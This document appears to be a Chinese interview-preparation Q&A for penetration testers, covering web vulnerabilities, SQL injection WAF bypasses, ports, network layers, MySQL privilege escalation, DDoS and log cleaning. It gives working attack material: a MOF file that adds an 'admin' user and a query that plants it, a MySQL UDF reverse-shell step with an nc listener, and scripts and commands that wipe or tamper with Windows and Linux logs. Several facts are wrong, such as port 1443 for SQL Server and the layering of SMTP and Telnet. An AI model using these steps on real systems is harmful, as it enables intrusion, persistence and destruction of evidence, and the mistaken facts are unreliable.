1.了解那些漏洞?
sql注入、文件上传、文件包含、xss、csrf、ssrf、越权访问、命令执行、代码执行、目录读取、任意文件读取、弱口令、暴力破解。
2.文件上传有哪些防护方式?
- 检查文件上传路径(避免0x00截断、iis6.0文件夹解析漏洞、目录遍历)
- 文件扩展名检测(避免服务器以非图片的文件格式解析文件),验证文件扩展名,通常有两种方式:黑名单和白名单。
- 文件MIME验证(比如GIF图片 MIME为image/gif),文件内容检测(避免图片中插入webshell)
- 图片二次渲染(最变态的上传漏洞防御方式,基本上完全避免了文件上传漏洞)
- 文件重命名(如随机字符串或时间戳等方式,防止攻击者得到webshell的路径)
- 隐藏上传路径
3.用什么判断注入?
- 当参数可控时,看参数是否对数据产生影响,若有影响则可能是注入点
- 输入sql看是否可以产生报错,通过报错信息得到数据库部分语句。
- 利用引号、双引号、圆括号进行报错
4.注入有防护怎么办?
- 1、绕过空格(注释符/**/,%a0)
- 2、括号绕过空格
- 3、引号绕过(使用十六进制)
- 4、逗号绕过(limit使用from或者offset)(substr使用from for属于逗号)
- 5、比较符号(< >)绕过(使用greatest())
- 6、or and 绕过
- 7、绕过注释符号(#,--)过滤
- 8、= 绕过 like
- 9、绕过union,select,where等
(1)使用注释符绕过
(2)使用大小写绕过
(3)内联注释绕过
(4)双关键字绕过
- 10、通用绕过(编码)
- 11、等价函数绕过
- 12、宽字节绕过
5.有没有写过tamper?
使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。
6.3306 1443 8080 是什么端口?
3306:mysql连接端口
1443:sql server
8080:被用于www服务,可用于浏览网页
7.计算机网络从物理层到应用层
- 物理层:比特流传输 协议:IEEE, Ethernet, IEEE802.2到IEEE802.11
- 数据链路层:控制网络与物理层之间通信 协议:FDDI,Ethernet,Arpanet,PDN,SLIP,PPP
- 网络层:IP寻址和路由选择 协议:IP,ICMP,ARP,RARP,AKP,UUCP
- 运输层:简历、维护、管理端到端的链接 协议:TCP,UDP
- 会话层:建立、维护、管理会话层链接 协议:SMTP,DNS
- 表示层:数据格式化、加密、解密 协议:Telnet,Rlogin,SNMP,Gopher
- 应用层:为应用数据提供网络服务 协议:HTTP,TFTP,FTP,NFS,WAIS,SMTP
8.有没有web服务开发经验?
9.有没有用过xss平台?
10.网站渗透的流程?
确认目标-信息收集-挖掘漏洞-漏洞利用-权限维持-内网渗透-权限维持-清除痕迹-撰写报告
11.mysql 的两种提权方式?
1.mysql的udf提权
提权要求
1.目标系统是Windows(Win2000,XP,Win2003);
2.如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
注:
该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。
3.如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
4.掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
5.拥有可以将udf.dll写入相应目录的权限。一般都是root
可以在mysql里输入
select @@basedir show variables like ‘%plugins%’
寻找mysql安装路径
提权方法
使用SQL语句创建功能函数
语法
Create Function 函数名 ‘导出的DLL路径’;
2.Mysql mof提权
提权要求
1.该漏洞的利用前提条件要先找到一个可写目录,然后上传mof文件
比如文章这里的 C:\RECYCLER
2.当前权限可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下
提权方法
一般方式
1.生成nullevt.mof文件
将以下代码保存为nullevt.mof文件:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
2.通过Mysql查询将文件导入
执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下,在windows7中默认是拒绝访问的。
select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
注:导入后系统会自动运行该文件,执行添加用户的命令。
3.查看执行结果
admin/admin 账号就已添加成功,可测试登录或者查询
4.权限提升
然后需要修改添加用户命令为将用户添加到管理员组
net.exe localgroup administrators admin/add
改一下mof文件中的命令,再次上传并查询一次,就成功了。
msf自带提权模块
use exploit/windows/mysql/mysql_mof
set 用户名 密码 ip (数据库允许所有主机登录才行)
Mysql反弹端口连接提权
假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?
1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。
mysql.exe -h 172.16.10.11 -uroot -p
2 Enter password:
3 mysql> . c:\mysql.txt
4 mysql>select backshell(“YourIP”,2010);
2、本地监听你反弹的端口
nc.exe -vv -l -p 2010
成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。
12.常见加密方式?
MD5加密(加密不可逆)
Base64加密(可加密可解密)
sha1加密(加密不可逆)
RSA加密--非对称加密(公钥加密,私钥解密)
AES加密--对称加密(需要密钥才能解密)
13.ddos如何防护?
服务器的攻击分为四类:cc攻击,syn攻击,udp攻击,tcp洪水攻击。
cc攻击特征:
- 网站出现service unavailable提示;
- cpu占用很高;
- 网络连接状态:netstat -na,若观察到大量的ESTABLISHED的连接状态 单个IP高达几十条甚至上百条;
- 外部无法打开网站,软重启后短期内恢复正常,几分钟后又无法访问。
syn攻击特征:
高cpu占用
网络连接状态:netstat -na,若观察到大量的ESTABLISHED的连接状态
udp攻击
观察网卡状况 每秒接受大量的数据包
网络状态:netstat -na TCP信息正常
tcp洪水攻击
A.CPU占用很高
B.netstat –na,若观察到大量的ESTABLISHED的连接状态 单个IP高达几十条甚至上百条
1.服务器连接不上,网站也打不开(如果服务器网站被大量DDoS攻击时,可能会造成服务器蓝屏或者死机,这时就意味着服务器已经连接不上了,网站出现连接错误的情况。)
2、服务器CPU被大量占用(DDoS攻击是一种恶意性的资源占用攻击,攻击者利用肉鸡或者攻击软件对目标服务器发送大量的无效请求,导致服务器的资源被大量的占用,因而正常的进程没有得到有效的处理,这样网站就会出现打开缓慢的情况。如果服务器某段时间突然出现CPU占用率过高,那么可能是网站受到CC攻击影响。)
3、占用服务器的带宽资源是DDoS攻击的一个主要手段,对很多小型企业或者个人网站来说,带宽的资源非常有限,网络的带宽被大量无效数据给占据时,正常流量数据请求很难被服务器进行处理。如果服务器上行带宽占用率达到90%以上时,那你的网站通常会出现被DDoS攻击的可能。
4、域名ping不出IP的情况用户可能会比较少考虑到,这其实也是DDoS攻击的一种表现,只是攻击者所针对的攻击目标是网站的DNS域名服务器。在出现这种攻击时,ping服务器的IP是正常可以连通的,但网站页面不能正常打开,并且在ping域名时会出现无法正常ping通的情况。主要的识别方法就是以上几种。
防御DDoS的基本方法有:首先要确保服务器软件没有任何漏洞,防止攻击者入侵。确保服务器采用最新系统,并打上安全补丁。在服务器上删除未使用的服务,关闭未使用的端口。对于服务器上运行的网站,确保其打了最新的补丁,没有安全漏洞。其次隐藏服务器的真实源IP地址,一般建议可以用蓝队云DDoS高防IP,用于隐藏服务器真实源IP,使用CNAME域名解析,此外拥有最新自研WAF指纹识别架构,可以完全过滤CC攻击行为,增加CDN网页缓存加速,误封概率低。
DDOS攻击是会直接将目标用户攻击到瘫痪的
14.有没有抓包,会不会写wireshark过滤规则?
wireshark中,分为两种过滤器:捕获过滤器 和 显示过滤器
捕获过滤器 是指wireshark一开始在抓包时,就确定要抓取哪些类型的包;对于不需要的,不进行抓取。
显示过滤器 是指wireshark对所有的包都进行抓取,当用户分析数据包的信息,便于筛选出需要的数据包。
总结来说,捕获过滤器 是在用户开始任务之前就要使用的规则;而显示过滤器 是任务开始之后(无论是否已完成)要使用的规则。
- 捕获过滤器对于一个选项的参数之间使用空格进行连接
- 显示过滤器对于一个选项的参数之间使用点”.”进行连接
- 输入过滤器规则时,如果语法正确,底色显示为绿色;如果语法错误,显示为红色。
- 使用捕获过滤器时,要先选择要捕获的接口,再填写过滤器规则
15.清理日志要清理哪些?
一、windows
有远程桌面权限时手动删除日志:
开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志
wevtutil:
wevtutil el 列出系统中所有日志名称 wevtutil cl system 清理系统日志 wevtutil cl application 清理应用程序日志 wevtutil cl security 清理安全日志
meterperter自带清除日志功能:
clearev 清除windows中的应用程序日志、系统日志、安全日志
清除recent:
在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮 或直接打开C:\Users\Administrator\Recent并删除所有内容 或在命令行中输入del /f /s /q “%userprofile%\Recent*.*
二、linux
清除命令历史记录
histroy -r #删除当前会话历史记录 history -c #删除内存中的所有命令历史 rm .bash_history #删除历史文件中的内容 HISTZISE=0 #通过设置历史命令条数来清除所有历史记录 在隐蔽的位置执行命令 使用vim打开文件执行命令 :set history=0 :!command
linux日志文件
/var/run/utmp 记录现在登入的用户 /var/log/wtmp 记录用户所有的登入和登出 /var/log/lastlog 记录每一个用户最后登入时间 /var/log/btmp 记录错误的登入尝试 /var/log/auth.log 需要身份确认的操作 /var/log/secure 记录安全相关的日志信息 /var/log/maillog 记录邮件相关的日志信息 /var/log/message 记录系统启动后的信息和错误日志 /var/log/cron 记录定时任务相关的日志信息 /var/log/spooler 记录UUCP和news设备相关的日志信息 /var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件:
cat /dev/null > filename : > filename > filename echo "" > filename echo > filename
针对性删除日志文件:
删除当天日志 sed -i '/当天日期/'d filename
篡改日志文件:
将所有172.16.13.1 ,ip替换为127.0.0.1 sed -i 's/170.170.64.17/127.0.0.1/g'
一键清除脚本:
#!/usr/bin/bash echo > /var/log/syslog echo > /var/log/messages echo > /var/log/httpd/access_log echo > /var/log/httpd/error_log echo > /var/log/xferlog echo > /var/log/secure echo > /var/log/auth.log echo > /var/log/user.log echo > /var/log/wtmp echo > /var/log/lastlog echo > /var/log/btmp echo > /var/run/utmp rm ~/./bash_history history -c